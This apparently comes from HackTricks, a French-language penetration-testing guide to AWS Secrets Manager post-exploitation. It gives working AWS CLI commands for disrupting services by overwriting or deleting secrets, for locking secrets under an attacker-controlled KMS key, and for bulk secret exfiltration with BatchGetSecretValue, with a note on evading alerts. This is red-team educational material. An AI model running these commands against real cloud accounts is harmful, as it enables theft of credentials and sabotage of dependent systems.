AWS - Secrets Manager Post Exploitation

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Secrets Manager

Pour plus d'informations, consultez :

AWS - Secrets Manager Enum

Lire les secrets

Les secrets eux-mêmes sont des informations sensibles, consultez la page privesc pour apprendre comment les lire.

DoS Changer la valeur du secret

En changeant la valeur du secret, vous pourriez DoS tous les systèmes qui dépendent de cette valeur.

warning

Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente.

bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Si l'attaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour utiliser une KMS key appartenant à l'attaquant. Cette clé est initialement configurée de manière à ce que n'importe qui puisse y accéder et l'utiliser, ce qui permet de mettre à jour le secret avec la nouvelle clé. Si la clé n'était pas accessible, le secret ne pourrait pas être mis à jour.

Après avoir changé la KMS key du secret, l'attaquant modifie la configuration de sa KMS key afin que seul lui puisse y accéder. Ainsi, dans les versions ultérieures du secret, celui-ci sera chiffré avec la nouvelle KMS key et, comme il n'y aura plus d'accès à celle-ci, la possibilité de récupérer le secret sera perdue.

Il est important de noter que cette inaccessibilité ne se produira que dans les versions ultérieures, après que le contenu du secret aura changé, puisque la version actuelle est toujours chiffrée avec la KMS key originale.

bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Deleting Secret

Le nombre minimum de jours pour supprimer un secret est de 7

bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Il est possible de restaurer un secret, ce qui permet de récupérer des secrets qui ont été programmés pour suppression, puisque la période minimale de suppression des secrets est de 7 jours et la maximale est de 30 jours. Associée à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.

Pour récupérer un secret en cours de suppression, vous pouvez utiliser la commande suivante :

bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Cette action permet de supprimer la resource policy qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la resource policy était configurée pour autoriser l'accès à un ensemble spécifique d'utilisateurs.

Pour supprimer la resource policy :

bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Les états d'un secret servent à gérer ses versions. AWSCURRENT marque la version active utilisée par les applications, AWSPREVIOUS conserve la version précédente pour pouvoir revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant de la rendre courante.

Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu'un déplace ce label vers la mauvaise version, les applications utiliseront des identifiants invalides et risquent d'échouer.

AWSPREVIOUS n'est pas utilisé automatiquement. Toutefois, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne encore avec la version précédente.

bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (jusqu'à 20 par appel)

Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. Cela peut réduire considérablement le volume d'appels API comparé à l'itération de GetSecretValue pour chaque secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre néanmoins un événement GetSecretValue par secret récupéré dans le batch.

Required permissions

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue pour chaque secret ciblé
  • secretsmanager:ListSecrets si --filters est utilisé
  • kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

warning

Notez que la permission secretsmanager:BatchGetSecretValue n'est pas suffisante pour récupérer des secrets ; vous avez également besoin de secretsmanager:GetSecretValue pour chaque secret que vous souhaitez récupérer.

Exfiltrate by explicit list

bash
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrer par filtres (tag key/value ou préfixe de nom)

bash
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Gestion des échecs partiels

bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Impact

  • Récupération rapide “smash-and-grab” de nombreux secrets avec moins d'appels API, pouvant potentiellement contourner des alertes configurées pour des pics de GetSecretValue.
  • Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par lot.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks